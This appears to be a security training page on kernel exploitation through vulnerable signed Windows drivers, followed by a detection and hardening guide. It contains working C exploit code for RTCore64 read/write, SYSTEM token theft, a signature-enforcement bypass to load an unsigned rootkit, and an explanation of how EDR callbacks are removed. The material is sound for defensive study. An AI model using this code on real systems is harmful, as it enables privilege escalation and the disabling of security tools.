> For the complete documentation index, see [llms.txt](https://docs.redteamleaders.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.redteamleaders.com/offensive-security/windows-kernel-and-driver-exploitation/weaponization-pocs-and-defense.md).

# Weaponization, PoCs & Defense

## Part 3 — Weaponization, PoCs & Defense

> **In this part:** we take the arbitrary read/write primitive from Part 2 and build a working kernel R/W engine, leak `ntoskrnl`, walk the EPROCESS list, steal the SYSTEM token (full C PoC), then cover DSE downgrade and callback removal, walk through real CVE case studies, and finish with the detection and defensive engineering that actually stops this.

> ⚠️ **VM only.** Every code path below can bugcheck a live system. The PoCs teach the mechanics; they are not drop-in tooling.

***

### 3.1 The primitive ladder — where we're going

<figure><img src="/files/PMpsCZo8YfkEZj2wBqP3" alt=""><figcaption></figcaption></figure>

A single "map arbitrary physical memory" or "read/write arbitrary virtual address" IOCTL is enough to climb the entire ladder:

1. **Arbitrary read** → leak `ntoskrnl` base → defeat KASLR → resolve symbols.
2. **Arbitrary write** → data-only edits: token theft, callback removal, DSE flip.
3. On non-HVCI hosts, optionally → control-flow hijack / kernel code execution.

### 3.2 Building a kernel read/write engine

Wrap the driver's raw IOCTLs into clean `kread`/`kwrite` helpers. The snippet below uses a RTCore64-style virtual R/W (Class 2 from Part 2): each call moves up to 4 bytes at an arbitrary virtual address, and we compose those into arbitrary-size transfers.

```c
// kernelrw.c — thin R/W engine over a RTCore64-style driver. VM only.
#include <windows.h>
#include <stdint.h>
#include <string.h>

#define RTC_READ   0x80002048
#define RTC_WRITE  0x8000204C

// The exact struct the driver expects is recovered by reversing (Part 2).
// This mirrors the well-documented RTCore64 request layout.
#pragma pack(push,1)
typedef struct {
    uint8_t  pad0[8];
    uint64_t Address;   // target kernel VA
    uint8_t  pad1[4];
    uint32_t Size;      // 1, 2 or 4
    uint32_t Value;     // read: out; write: in
    uint8_t  pad2[16];
} RTC_MEM;
#pragma pack(pop)

static HANDLE g_dev;

static uint32_t rtc_read4(uint64_t va, uint32_t size) {
    RTC_MEM m = {0}; m.Address = va; m.Size = size; DWORD ret = 0;
    DeviceIoControl(g_dev, RTC_READ, &m, sizeof m, &m, sizeof m, &ret, NULL);
    return m.Value;
}
static void rtc_write4(uint64_t va, uint32_t size, uint32_t val) {
    RTC_MEM m = {0}; m.Address = va; m.Size = size; m.Value = val; DWORD ret = 0;
    DeviceIoControl(g_dev, RTC_WRITE, &m, sizeof m, &m, sizeof m, &ret, NULL);
}

// Compose 4-byte primitives into arbitrary-size read/write.
void kread(uint64_t va, void *out, size_t len) {
    uint8_t *p = out;
    for (size_t i = 0; i < len; i += 4) {
        uint32_t v = rtc_read4(va + i, 4);
        memcpy(p + i, &v, (len - i >= 4) ? 4 : (len - i));
    }
}
void kwrite(uint64_t va, const void *in, size_t len) {
    const uint8_t *p = in;
    for (size_t i = 0; i < len; i += 4) {
        uint32_t v = 0;
        memcpy(&v, p + i, (len - i >= 4) ? 4 : (len - i));
        rtc_write4(va + i, 4, v);
    }
}
uint64_t kread64(uint64_t va) { uint64_t v; kread(va, &v, 8); return v; }
```

Now `kread`/`kwrite` reach into any kernel virtual address. Everything after this is Windows-internals plumbing, not driver-specific.

### 3.3 Defeating KASLR — leaking the `ntoskrnl` base

To edit kernel structures you need their addresses, which KASLR randomizes each boot. The cleanest leak from a *medium-integrity admin* process is `NtQuerySystemInformation(SystemModuleInformation, ...)`, which returns the load address of every kernel module — including `ntoskrnl.exe` at index 0.

```c
// Leak the base of ntoskrnl and any other loaded driver, from user mode.
typedef struct { PVOID Section; PVOID Mapped; PVOID Base;
    ULONG Size, Flags; USHORT Index, Loaded, Ord, NameOff; UCHAR Name[256]; } RTL_MOD;
typedef struct { ULONG Count; RTL_MOD Mods[1]; } RTL_MODS;

extern NTSTATUS (NTAPI *NtQuerySystemInformation)(ULONG,PVOID,ULONG,PULONG);

uint64_t leak_ntoskrnl(void) {
    ULONG len = 0;
    NtQuerySystemInformation(11 /*SystemModuleInformation*/, NULL, 0, &len);
    RTL_MODS *m = malloc(len);
    NtQuerySystemInformation(11, m, len, &len);
    uint64_t base = (uint64_t)m->Mods[0].Base;   // ntoskrnl is first
    free(m);
    return base;
}
```

From the base you resolve exported symbols (`PsInitialSystemProcess`, `PsLoadedModuleList`) by parsing `ntoskrnl`'s export table — either from the on-disk copy at `%SystemRoot%\System32\ntoskrnl.exe` (mapped read-only) added to the leaked base, or by reading the export directory through `kread`.

```c
// Resolve an ntoskrnl export by mapping the on-disk image and adding the delta.
uint64_t resolve_export(uint64_t nt_base, const char *name) {
    HMODULE nt = LoadLibraryExW(L"ntoskrnl.exe", 0, DONT_RESOLVE_DLL_REFERENCES);
    FARPROC local = GetProcAddress(nt, name);
    uint64_t rva = (uint64_t)local - (uint64_t)nt;   // same RVA at runtime
    return nt_base + rva;
}
```

> `PsInitialSystemProcess` is a *pointer* symbol: `kread64(resolve_export(base, "PsInitialSystemProcess"))` gives the EPROCESS of the SYSTEM process (PID 4).

### 3.4 The payoff — EPROCESS token theft (full PoC)

<figure><img src="/files/oXp4OZOwijSAdy9yjYqe" alt=""><figcaption></figcaption></figure>

Every process's security context is a pointer — `EPROCESS.Token` (an `EX_FAST_REF`). Steal SYSTEM's token pointer, write it over your own process's `Token`, and your process *is* SYSTEM. No shellcode, no code execution, nothing PatchGuard or HVCI objects to — this is the canonical **data-only** attack and it works even on HVCI-enabled systems.

The walk:

1. `System = kread64(PsInitialSystemProcess)` → SYSTEM's EPROCESS.
2. Follow the `ActiveProcessLinks` doubly-linked list until `UniqueProcessId == GetCurrentProcessId()` to find our own EPROCESS.
3. `sysTok = kread64(System + Token) & ~0xF` (mask the low reference-count bits of the `EX_FAST_REF`).
4. `kwrite(self + Token, &sysTok, 8)`.

```c
// tokensteal.c — data-only LPE via kernel R/W. VM only, offsets are build-specific.
// Resolve offsets from symbols/WinDbg; the values below are illustrative (Win10/11 x64).
#define OFF_UNIQUEPID   0x440   // EPROCESS.UniqueProcessId
#define OFF_APLINKS     0x448   // EPROCESS.ActiveProcessLinks (Flink at +0)
#define OFF_TOKEN       0x4b8   // EPROCESS.Token (EX_FAST_REF)

uint64_t find_eprocess_by_pid(uint64_t system_eproc, uint64_t target_pid) {
    uint64_t cur = system_eproc;
    do {
        uint64_t pid = kread64(cur + OFF_UNIQUEPID);
        if (pid == target_pid) return cur;
        uint64_t flink = kread64(cur + OFF_APLINKS);   // next node's APLINKS field
        cur = flink - OFF_APLINKS;                     // back up to EPROCESS base
    } while (cur != system_eproc);
    return 0;
}

int steal_system_token(void) {
    uint64_t nt   = leak_ntoskrnl();
    uint64_t sys  = kread64(resolve_export(nt, "PsInitialSystemProcess"));
    uint64_t self = find_eprocess_by_pid(sys, GetCurrentProcessId());
    if (!self) return 1;

    uint64_t sysTok = kread64(sys + OFF_TOKEN) & ~0xFULL;  // strip EX_FAST_REF refcount
    kwrite(self + OFF_TOKEN, &sysTok, 8);

    system("cmd.exe");   // this shell is now NT AUTHORITY\SYSTEM
    return 0;
}
```

> **Hardening note:** modern Windows adds token robustness checks in some paths, and offsets drift every build — this is why real tooling resolves offsets dynamically (via the PDB / `dt nt!_EPROCESS` in WinDbg) rather than hardcoding. The *technique* is unchanged since Windows XP; only the numbers move.

#### Alternative data-only payloads

Once you hold `kread`/`kwrite`, token theft is just the friendliest option:

* **Privilege bit-flip:** OR `0xFFFFFFFFFFFFFFFF` into `Token->Privileges.Present/Enabled` to grant every privilege without swapping tokens (stealthier — the token still "belongs" to you).
* **Integrity level downgrade removal:** raise your process integrity to System.
* **`Protection` field flip:** set `EPROCESS.Protection` to make your process a PPL (Protected Process Light), frustrating EDR that respects PP/PPL.
* **`ImageFileName` spoof:** cosmetic, but complicates naive detection.

### 3.5 Attacking the security stack (non-HVCI hosts)

#### DSE downgrade — loading an unsigned rootkit

With arbitrary write and no HVCI, flip Code Integrity's policy variable and the kernel will load *unsigned* drivers. Historically this is `ci!g_CiOptions` (older: `nt!g_CiEnabled`). Resolve it (pattern-scan `CI.dll`/`ntoskrnl` or use symbols), read the current value, zero the enforcement bits, load your driver, then restore.

```c
// Pseudocode — DSE downgrade. Broken by HVCI (g_CiOptions is VTL1-protected).
uint64_t ci_options = find_g_ci_options();   // pattern scan in CI.dll
uint32_t saved = (uint32_t)kread64(ci_options);
uint32_t off   = 0;
kwrite(ci_options, &off, 4);                  // disable enforcement
load_driver(L"rootkit", L"C:\\evil_unsigned.sys");
kwrite(ci_options, &saved, 4);                // restore to avoid PatchGuard notice
```

#### Blinding EDR — removing kernel callbacks

EDRs subscribe to kernel notifications via `PsSetCreateProcessNotifyRoutine`, `PsSetCreateThreadNotifyRoutine`, `PsSetLoadImageNotifyRoutine`, and object callbacks (`ObRegisterCallbacks`). These live in exported callback arrays (`PspCreateProcessNotifyRoutine`, etc.). With `kwrite` you can locate the array, find the EDR's callback entry, and zero it — the sensor goes deaf without crashing. This is the core of "EDR killer" BYOVD tools (`Terminator`, `AuKill`, `Spyboy`).

```
PspCreateProcessNotifyRoutine[]  →  [ EX_CALLBACK_ROUTINE_BLOCK* , ... ]
                                        │
                                        └─► points at edrsvc callback → zero it
```

> **Detection pivot for blue teams:** a *drop* in a sensor's kernel callbacks, or a gap in `PsSetCreateProcessNotifyRoutine` telemetry immediately after a driver load, is a high-fidelity BYOVD signal. Tamper-protection watchdogs that re-register callbacks and alert on their removal defeat this.

### 3.6 Case studies — real vulnerable drivers

Each of these is worth reversing yourself; they map one-to-one onto the vulnerability classes from Part 2.

#### RTCore64.sys — MSI Afterburner (CVE‑2019‑16098)

The reference BYOVD driver. Ships with the wildly popular MSI Afterburner overclocking utility, signed by Micro-Star. Exposes IOCTLs that read/write arbitrary **virtual** memory (`0x80002048` / `0x8000204C`) and MSRs. Because it grants a direct virtual R/W with no page-table math, it's the "hello world" of kernel R/W primitives and the driver most EDR-killer tools historically bundled. Class 2 + Class 3.

#### dbutil\_2\_3.sys — Dell (CVE‑2021‑21551)

Shipped inside Dell's firmware update utilities for \~12 years across hundreds of millions of machines. An IOCTL exposes arbitrary read/write; the device had a permissive DACL, so even non-privileged users could reach it on many configs. Discovered by SentinelOne. A textbook "trusted-vendor driver, catastrophic DACL + primitive" combination. Class 1/2.

#### gdrv.sys — GIGABYTE (CVE‑2018‑19320 and friends)

GIGABYTE's system utility driver. Arbitrary physical memory read/write and MSR write. Famously weaponized by the **RobbinHood** ransomware crew to disable endpoint protection before encryption — one of the first widely-reported *criminal* BYOVD-for-EDR-kill campaigns. Class 1 + Class 3.

#### Capcom.sys — game anti-tamper

The archetype of Class 5. Exposes an IOCTL that takes a user-supplied pointer and **calls it in kernel mode**, even briefly clearing SMEP so the callee can be a user-mode address. One IOCTL = ring-0 code execution. Neutered on SMEP+HVCI systems but immortal as a teaching example.

#### WinRing0.sys / AsrDrv / iqvw64e — the OEM long tail

`WinRing0.sys` (OpenLibSys) underpins a huge number of hardware-monitoring and RGB-lighting tools; it grants MSR and physical R/W and is signed and widespread. `AsrDrv*` (ASRock) and Intel's `iqvw64e.sys` are similar. `iqvw64e.sys` was used by RobbinHood; the sheer number of these OEM "system access" drivers is why the BYOVD supply is effectively inexhaustible.

#### procexp.sys — Sysinternals Process Explorer

Not a memory-R/W bug but a **handle/kill** primitive (Class 4): the driver will open protected processes with strong access on the caller's behalf. Tools like `Backstab` abuse it to terminate or strip handles from EDR/AV processes without any memory corruption at all.

| Driver           | CVE        | Class | Primitive            | Famous abuse          |
| ---------------- | ---------- | ----- | -------------------- | --------------------- |
| RTCore64.sys     | 2019‑16098 | 2/3   | Virtual R/W + MSR    | Generic EDR killers   |
| dbutil\_2\_3.sys | 2021‑21551 | 1/2   | Arb R/W (+weak DACL) | LPE, EDR kill         |
| gdrv.sys         | 2018‑19320 | 1/3   | Phys R/W + MSR       | RobbinHood ransomware |
| Capcom.sys       | —          | 5     | Ring‑0 pointer call  | PoC / red team        |
| iqvw64e.sys      | —          | 1/3   | Phys R/W + MSR       | RobbinHood            |
| procexp.sys      | —          | 4     | Handle/kill          | Backstab              |

### 3.7 Defense — detecting and blocking BYOVD

The exploit runs in the kernel and is nearly invisible while executing. The good news for defenders: **the loading and setup are noisy**, and the *effects* (callback removal, token swaps) are observable. Defense is layered.

<figure><img src="/files/R3qvYBpNyGxKMBeevlqP" alt=""><figcaption></figcaption></figure>

#### Prevention (stop the driver loading at all)

1. **Enable HVCI / Memory Integrity.** The single highest-impact control. Blocks code execution and DSE-flip, and enables the vulnerable-driver blocklist.
2. **Enable Microsoft's vulnerable driver blocklist** explicitly (it isn't on for every SKU/upgrade path). `bcdedit`/WDAC or via *Windows Security → Device Security → Core Isolation*.
3. **Deploy WDAC (App Control) in enforced mode** with an allow-list. This is the gold standard: only your approved, current drivers load — an unknown vulnerable `.sys` is denied even if it's freshly signed and not on any blocklist. Blocklists are deny-lists (reactive); allow-lists are proactive.
4. **Remove `SeLoadDriverPrivilege`** from accounts that don't need it and enforce least privilege so an attacker can't reach the loading step.

#### Detection (assume something loads anyway)

| Signal                                          | Source                                                             | Notes                                                  |
| ----------------------------------------------- | ------------------------------------------------------------------ | ------------------------------------------------------ |
| Known-bad driver hash / signer                  | AV, EDR, LOLDrivers feed                                           | Cheap, but only catches known drivers                  |
| `.sys` written outside `System32\drivers`       | Sysmon **11** (FileCreate)                                         | Staging in `%TEMP%`, user dirs                         |
| Kernel service created                          | Event **4697**, Sysmon **13** (`...\Services\*\ImagePath`), `7045` | `type=1` + odd path = strong signal                    |
| Driver load event                               | Sysmon **6** (DriverLoad), ETW Threat-Intel                        | Check signer + reputation                              |
| New handle to a rare `\Device\*`                | ETW / EDR                                                          | Unusual device opens by unexpected processes           |
| **Kernel callback removed**                     | EDR self-integrity / tamper watchdog                               | High fidelity — sensor notices its own callback vanish |
| Sensor heartbeat loss right after a driver load | EDR cloud correlation                                              | The "blinding" tell                                    |
| Token/PPL field mutation                        | EDR kernel sensor                                                  | Detects the data-only payload effect                   |

#### Hunting queries (conceptual)

```
# Sysmon: kernel driver service installs pointing outside the driver store
EventID=13 TargetObject="*\Services\*\ImagePath"
  AND Details NOT IN ("*\System32\drivers\*", "*\System32\DriverStore\*")

# Sysmon: driver loads whose signer is not in your approved-vendor allow-list
EventID=6 AND Signature NOT IN (approved_signers)

# Correlate: FileCreate(*.sys in temp) -> 4697/7045(kernel service) within 5m
sequence by host [FileCreate .sys temp] [ServiceInstall type=kernel] maxspan=5m
```

#### Response & resilience

* **Tamper protection with re-registration:** an EDR that re-adds and verifies its kernel callbacks, and alerts on removal, defeats the blinding step.
* **Cloud-side heartbeat:** detect the *absence* of expected telemetry, not just its presence — BYOVD's whole goal is to make signals disappear.
* **Isolate & re-image on confirmed kernel compromise.** Once ring‑0 is owned, the host cannot be trusted; a rootkit may survive user-mode cleanup.

### 3.8 Mitigation summary

| If you are…        | Do this                                                                                                                                                                   |
| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| A defender / IT    | HVCI on, blocklist on, **WDAC allow-list drivers**, strip `SeLoadDriverPrivilege`, monitor 4697/Sysmon 6/13                                                               |
| An EDR vendor      | Kernel callback self-integrity, re-registration watchdog, cloud heartbeat, detect token/PPL mutation                                                                      |
| A driver developer | `IoCreateDeviceSecure` + tight SDDL, avoid `METHOD_NEITHER`, validate every physical/virtual address & length, never expose MSR/phys-map/pointer-call IOCTLs to user mode |
| A researcher       | Work in snapshotted VMs, disclose responsibly, feed hashes/IOCTLs to LOLDrivers                                                                                           |

### 3.9 References & further reading

* **LOLDrivers** — `loldrivers.io` (catalog, hashes, IOCTLs, detections)
* **Microsoft** — *Recommended driver block rules* and *Memory Integrity (HVCI)* documentation
* **CVE‑2019‑16098** (RTCore64), **CVE‑2021‑21551** (Dell dbutil, SentinelOne write-up), **CVE‑2018‑19320** (GIGABYTE gdrv)
* **hfiref0x/KDU** — Kernel Driver Utility (research framework)
* Windows Internals (Russinovich, Allievi et al.) — I/O manager, IRPs, EPROCESS
* EDR-killer analyses — *AuKill*, *Terminator/Spyboy*, *Backstab* public reports
* MITRE ATT\&CK — **T1068** (Exploitation for Privilege Escalation), **T1543.003** (Windows Service), **T1562.001** (Impair Defenses)

***

**Series recap**

* **Part 1:** BYOVD defeats DSE/WHQL/PatchGuard because the driver is genuinely signed; HVCI is the one control that really constrains it.
* **Part 2:** the dispatch handler at `DriverObject+0xE0` and its IOCTL `switch` are the whole attack surface; `METHOD_NEITHER` + `FILE_ANY_ACCESS` + an unvalidated `MmMapIoSpace`/`__writemsr`/pointer-call is the bug.
* **Part 3:** one arb R/W primitive → leak `ntoskrnl` → walk EPROCESS → steal the SYSTEM token (data-only, HVCI-proof). Defenders win at the *loading* and *effect* stages, not the (invisible) exploit stage.
